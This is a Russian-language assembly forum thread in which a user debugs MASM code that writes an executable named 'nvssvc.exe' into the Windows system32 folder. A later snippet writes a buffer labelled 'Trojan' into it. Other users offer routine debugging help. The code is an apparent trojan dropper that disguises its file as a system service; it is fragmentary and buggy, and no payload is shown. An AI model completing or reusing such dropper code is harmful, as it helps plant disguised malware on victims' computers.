WriteFile

http://images.netbynet.ru/img.php?bfe8643caedbb27a07eb3065196d193e.png

не палучается

http://pastebin.com/Z0sPJr1v

 

http://pastebin.com/iPyU6CPU

все разобрался, всем спасибо!

 

Не получается создать фаил в системной дериктории Windows Vista
делаю так...

Код (Text):

1. GetSystemDirectoryA PROTO :DWORD,:DWORD
2. push 260h
3. push offset Buff_1
4. call GetSystemDirectoryA
5.  
6. .data?
7. Buff_1 db 260h dup(?)
8. hFile dd ?
9. pBytesWritten dw ?
10.  
11. .data
12. exename  db "file.exe",0
13.  
14. .code
15.  
16. lstrcatA PROTO :DWORD,:DWORD
17. push offset exename
18. push offset Buff_1
19. call lstrcatA
20.  
21. CreateFileA PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD
22. push 0h
23. push 0h
24. push 2h
25. push 0h
26. push 1h+2h
27. push 80000000h+40000000h
28. push offset Buff_1
29. call CreateFileA
30.  
31. mov hFile,eax
32.  
33. WriteFile PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD
34. push 0h
35. push offset pBytesWritten
36. push filelen
37. push offset file
38. push eax
39. call WriteFile
40.  
41. CloseHandle PROTO :DWORD
42. push hFile
43. call CloseHandle

 

1. Что возвращает GetLastError() ? Посмотри что возвращает и сам поймешь что нет так она экономит твое время.
2. Зачем писать "80000000h+40000000h", когда вместо них можно использовать константы ?

 

В общем там в пути к файлу ты забыл добавить "\"

 

http://pastebin.com/VzS2mGX6
не работает не с \ не с \\ ...

 

папробуем с ластерраром) спасибо!

 

Когда ьі получаешь путь к папке sytem32 то в конце нет слеша.
То есть ты такой файл создаешь:
C:\windows\system32file.exe

 

я же написал exename db "\nvssvc.exe",0 этого что не достатачно?

 

Код (Text):

1. ErrorCode dd ?
2.  
3. .code
4.  
5. WriteFile PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD
6. push 0h
7. push offset pBytesWritten
8. push filelen
9. push offset file
10. push eax
11. call WriteFile
12.  
13. GetLastError PROTO
14. call GetLastError
15.  
16. mov ErrorCode ,eax
17.  
18. MessageBoxA PROTO :DWORD,:DWORD,:DWORD,:DWORD
19. push 00000030h
20. push 0h
21. push offset ErrorCode
22. push 0h
23. call MessageBoxA

почему не работет? как добавить конец строки?

 

fragment, вы отладчик пробовали включать вообще и там дебажить свой код?

GetLastError возвращает номер ошибки в hex, а вы его пытаетесь передать как аргумент MessageBox. Вначале нужно преобразовать в десятичное и затем в ASCII

 

Flint_ta паслушай я догадываюсь ... а как реализавать то?

 

функа wsprintfA

PUSH DWORD PTR DS:[Hex_Error]
PUSH offset Format; "%d"
PUSH offset Buffer
CALL wsprintfA

 

fragment
F2 в отладчике, если мозг отсутствует.

 

Маленькая поправка к Clerkу - F2 в отладчике помогает даже если мозг присутствует )
Можно обойтись и без GetLastError -> wsprintfA -> MessageBox, а прямо в Оле код последней ошибки и смотреть вместе с его текстовым именем.

 

CreateFileA

ERROR_ACCESS_DENIED
5 (0x5) Access is denied.

:\ ...

 

Похоже не хватает прав для создания файла.

 

у меня еще вопрос для савсем маленьких, Вы уж извените если что

Код (Text):

1. ...
2.  
3. CreateFileA PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD
4. push 0h
5. push 0h
6. push 2h
7. push 0h
8. push 1h+2h
9. push 80000000h+40000000h
10. push offset Buff_1
11. call CreateFileA
12.  
13. mov hFile,eax
14.  
15. call ErrorP
16.  
17. WriteFile PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD
18. push 0h
19. push offset pBytesWritten
20. push TrojanLen
21. push offset Trojan
22. push offset hFile
23. call WriteFile
24.  
25. call ErrorP
26.  
27. CloseHandle PROTO :DWORD
28. push hFile
29. call CloseHandle
30.  
31. ....
32.  
33. ErrorP proc
34.  
35.     GetLastError PROTO
36.     call GetLastError
37.  
38.     wsprintfA PROTO C :VARARG
39.     push eax
40.     push offset sfc
41.     push offset ErrorCode
42.     call wsprintfA
43.  
44.     MessageBoxA PROTO :DWORD,:DWORD,:DWORD,:DWORD
45.     push 00000030h
46.     push 0h
47.     push offset ErrorCode
48.     push 0h
49.     call MessageBoxA
50.  
51.     ret
52.  
53. ErrorP endp
54.  
55. end start

программа падает после первого кода

 

а я догадовался ведь.

 

fragment
http://www.wasm.ru/forum/viewtopic.php?pid=380106#p380106
http://www.wasm.ru/forum/viewtopic.php?id=32181&p=1